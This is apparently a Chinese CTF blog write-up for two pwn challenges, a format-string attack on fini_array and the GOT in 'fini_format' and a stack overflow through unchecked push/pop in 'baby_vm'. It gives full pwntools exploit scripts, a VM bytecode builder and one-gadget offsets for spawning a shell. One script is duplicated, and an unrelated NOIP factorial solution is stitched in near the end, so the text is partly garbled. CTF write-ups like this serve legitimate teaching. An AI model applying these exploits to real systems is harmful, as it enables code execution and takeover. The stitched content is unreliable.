uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
file = "./fini_format"
libc = "./libc.so.6"

#p = process(file)
p = remote("43.139.51.42", 32781)
elf = ELF(file)
libc = ELF(libc)
ru("0x")
libc_base = int(rc(12),16) - libc.sym["read"]
lg("libcbase", libc_base)
system,binsh = get_sb()
ogg = libc_base + 0xebc81

print_got = elf.got["printf"]
fini_array = 0x403140
start = 0x401231
payload = fmtstr_payload(6, {fini_array:start, print_got:ogg}, write_size='short')
#debug("b *0x401259")
sd(payload)
sd("/bin/sh\x00")

ia()

baby_vm

爆零了,先给各位滑轨🙇♂️🙇♂️🙇♂️

关于虚拟机部分的逆向可以参考我的上一篇文章

HXCTF二进制出题小记·逆向篇_xcccxaxxgxvbwvdbzbzcbzbxzvzsvscczcbdevcdrvvvvvvcvc-CSDN博客

这里我主要讨论该VM存在的漏洞,主函数逻辑很简单,将用户输入的数据作为VM字节码直接执行

由于程序是用C++写的,虚拟机信息都在类里并且虚拟机指令实现都是virtual虚函数,所以反编译出来的伪代码非常丑陋

下面是VM的构造函数

我们将下面两个结构体导入ida,然后修改参数a1的类型为VM*

struct CPU
{
  uint64_t regs[16];
  unsigned __int8 *ip;
  uint64_t *sp;
  uint64_t *bp;
  bool power;
};
struct VM
{
  void *vftable;
  CPU _cpu;
};

这样代码的可读性就高多了

下面的函数就是interpret函数,是VM的主分发器,用于解析VM字节码并执行对应的指令

然后发现程序的push和pop(9号和10号指令)没有越界检查并且push是sp指针加一,pop是sp指针减一

而我们的sp指针是指向构造函数VM::VM栈顶的,我们通过组合使用push和pop指令,可以达到栈溢出的效果

但是由于程序保护全开,我们还需要获得libc上的地址,从哪里获得呢?

诶🤓☝️VM栈和程序栈在同一块内存空间,同时VM开辟的栈大小还是8*1024=8192的大小,并且程序还没有用memset清理栈,那么我们可以找一下栈上有没有残留的libc地址

gdb启动!

我们在程序调用interpret函数的位置下断点b *$rebase(0x13ED)

然后输入leakfind -o 0x2000 -d 1来找出栈上的libc地址

要注意的是:并不是说随便找一个在libc上的地址就行了,这些地址值很有可能发生变动!!!

我的方法是多次运行查看地址,把结果保存到记事本,然后对比找出固定不变的那个地址,选它作为泄露值

这里我选取的是$rsp+0x1f48的地址作为泄露值,经计算它是在VM栈的第997块

由于程序实现了load和store指令(限制了栈索引在0<index<1024,不存在越界),我们可以直接将这个值读到CPU寄存器堆上

然后通过加减运算获得libc基址和one gadget的地址

最后通过pop指令减sp指针来将VM的栈越界,使它指向更深层次的函数栈。简单来说,我用下面的函数调用结构来演示,#0函数地址是乱填的,主要看符号

#00x00006209cb92a2cdinVM::push()

#10x00006209cb92a3edinVM::VM()

#20x00006209cb92a563inmain()

#30x00007731b4435d90in__libc_start_call_main()

我们可以在push或pop这两个指令下断点(这两个函数的栈大小相同),然后计算要通过几次pop运算,VM的栈指针才指向push函数的返回地址,然后通过push指令将onegadget压入返回地址

这样就触发one gadget来getshell了

exp

利用脚本

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda    :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['konsole', '-e', 'sh', '-c']
file = "./babyvm"
libc = "./libc.so.6"

p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("43.139.51.42", 32776)

from VMBuilder import *
debug("b *$rebase(0x13ED)")
libc_off = [997, 0x8aeed]
retaddr_off = 11
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
vm = VMBuilder()
vm.load(0, libc_off[0])
vm.sub_imm(0, libc_off[1])
vm.add_imm(0, oggs[5])
for _ in range(retaddr_off):
   vm.pop(1)
vm.push(0)
#pause()

sla("it?", vm.dump())
ia()

VMBuilder代码

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda    :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['konsole', '-e', 'sh', '-c']
file = "./babyvm"
libc = "./libc.so.6"

p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("43.139.51.42", 32776)

from VMBuilder import *
debug("b *$rebase(0x13ED)")
libc_off = [997, 0x8aeed]
retaddr_off = 11
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
vm = VMBuilder()
vm.load(0, libc_off[0])
vm.sub_imm(0, libc_off[1])
vm.add_imm(0, oggs[5])
for _ in range(retaddr_off):
   vm.pop(1)
vm.push(0)
#pause()

sla("it?", vm.dump())
ia()
VMBuilder 代码
from struct import pack

class VMBuilder:
    def __init__(self):
        self.buf = bytearray()
    def _validate_registers(self, *regs):
        for r in regs:
            if not 0 <= r <= 15:
                raise ValueError(f"Invalid register R{r} (0-15 only)")
    def add(self, r1, r2):
        """ADD r1, r2"""
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 1, r1, r2)
    def add_imm(self, rx, imm):
        """ADD rX, imm"""
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 2, rx, imm)
    def sub(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 3, r1, r2)
    def sub_imm(self, rx, imm):
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 4, rx, imm)
    def mul(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 5, r1, r2)
    def mul_imm(self, rx, imm):
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 6, rx, imm)

    def mov(self, dst, src):
        self._validate_registers(dst, src)
        self.buf += pack("<BBB", 7, dst, src)
    def ixor(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 8, r1, r2)

    def push(self, rx):
        self._validate_registers(rx)
        self.buf += pack("<BB", 9, rx)
    def pop(self, rx):
        self._validate_registers(rx)
        self.buf += pack("<BB", 10, rx)

    def cmp(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 11, r1, r2)

    def jmp(self, offset):
        self.buf += pack("<Bh", 12, offset)
    def jz(self, offset):
        self.buf += pack("<Bh", 13, offset)
    def jnz(self, offset):
        self.buf += pack("<Bh", 14, offset)

    def shiftL(self, rx, shift):
        self._validate_registers(rx)
        if not 0 <= shift <= 64:
            raise ValueError("Shift amount must be 0-64")
        self.buf += pack("<BBB", 15, rx, shift)
    def shiftR(self, rx, shift):
        self._validate_registers(rx)
        if not 0 <= shift <= 64:
            raise ValueError("Shift amount must be 0-64")
        self.buf += pack("<BBB", 16, rx, shift)
    def load(self, rx, offset):
        self._validate_registers(rx)
        self.buf += pack("<BBH", 17, rx, offset)
    def store(self, rx, offset):
        self._validate_registers(rx)
        self.buf += pack("<BBH", 18, rx, offset)

    def load2(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 19, r1, r2)
    def store2(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 20, r1, r2)
    def halt(self):
        self.buf += pack("<B", 21)

    def dump(self):
        """返回完整字节码副本"""
        return bytes(self.buf)
    def save(self, filename):
        """保存字节码到文件"""
        with open(filename, 'wb') as f:
            f.write(self.dump())
NOIP 2018 普及组初赛第1028题的题解如下: 题目描述: 给定一个正整数N,要求编写一个程序,计算出它的阶乘N!。阶乘N!是所有小于或等于N的正整数的乘积,且0!定义为1。例如:5! = 5 × 4 × 3 × 2 × 1 = 120。 输入描述: 输入仅包含一个正整数N,其范围为1到20。 输出描述: 输出为计算得到的阶乘N!的值。 解题思路: 1. 使用一个数组来存储中间计算结果。 2. 从1开始,依次计算到N的所有整数的阶乘。 3. 每计算出一个数的阶乘,就将其乘到数组中,更新数组的值。 4. 最终数组存储的就是N!的结果。 注意点: - 由于N的范围为1到20,而20!的结果是一个非常大的数,普通的数据类型无法存储,因此需要使用数组来模拟大数运算。 - 在实现大数乘法时,需要注意进位的问题。 以下是一个简化的伪代码示例: ``` 输入:N 创建一个足够大的数组result用于存储结果 result[0] = 1 // 初始化结果为1 对于i从1到N: carry = 0 // 进位初始化为0 对于j从0到result的长度减1: temp = result[j] * i + carry result[j] = temp % 10 // 更新当前位的值 carry = temp / 10 // 计算新的进位 结束循环 如果carry不为0,则继续添加进位 结束循环 输出result数组(从后往前输出,以得到正确的顺序) ``` 实际编程时,需要注意数组的索引处理和进位处理,以及在输出时避免在前面输出不必要的零。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值